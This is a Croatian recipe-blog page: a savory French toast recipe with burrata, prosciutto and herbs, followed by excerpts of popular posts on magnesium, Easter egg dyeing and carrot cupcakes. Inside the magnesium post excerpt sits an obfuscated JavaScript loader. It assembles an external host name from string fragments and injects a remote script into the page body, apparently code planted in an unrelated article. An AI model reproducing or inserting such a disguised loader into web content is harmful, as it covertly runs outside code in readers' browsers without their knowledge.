SLANI FRENCH TOST S BURRATOM I PRŠUTOM





Slani french tost s burratom i pršutom 




Savory french toast dokazuje da ovaj klasik ne mora biti rezerviran samo za slatke kombinacije. Dovoljno je već u smjesu od jaja dodati sol, svježe začinsko bilje i malo papra, pa cijela priča dobiva potpuno novi karakter. Umjesto šećera i cimeta, baza postaje aromatična i mirisna, spremna za nadogradnju po želji, bilo da ga servirate za doručak, brunch, lagani ručak ili čak brzu večeru.





Slani french tost s burratom i pršutom 



Sastojci:

  • 1 jaje
  • ½ šalice punomasnog mlijeka
  • 2 grančice svježeg timijana
  • 2 grančice svježeg origana
  • ¼ žličice soli
  • svježe mljeveni crni papar
  • ½ žlice ekstra djevičanskog maslinova ulja
  • ½ žlice maslaca
  • 1 debela šnita kruha

Za posluživanje:

  • 1 srednja rajčica, narezana na kriške
  • svježe naribani parmigiano reggiano
  • svježi peršin, grubo sjeckan
  • svježi origano, grubo sjeckan
  • ekstra djevičansko maslinovo ulje
  • burrata
  • pršut
  • krupna sol



Priprema:

  • U plitkoj zdjeli umutite jaje s mlijekom. Dodajte listiće timijana i origana, sol i nekoliko malo svježe mljevenog papra pa sve dobro promiješajte.
  • Kruh položite u smjesu i ostavite da se namače 2-3 minute. Okrenite ga i pustite da upija još 2 minute s druge strane kako bi se dobro natopio, ali zadržao strukturu.
  • Na srednje jakoj vatri zagrijte maslinovo ulje i maslac u tavi. Kada se maslac zapjeni, položite namočeni kruh u tavu i pecite 3-4 minute sa svake strane, dok ne poprimi zlatno smeđu boju i hrskavu koricu.
  • Pečeni tost prebacite na tanjur. Na vrh rasporedite burratu, pršut, rajčice, svježe naribani parmezan, dodajte sjeckani peršin i origano.
  • Završite s nekoliko kapi maslinova ulja i prstohvatom krupne soli te poslužite odmah, dok je tost još topao.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više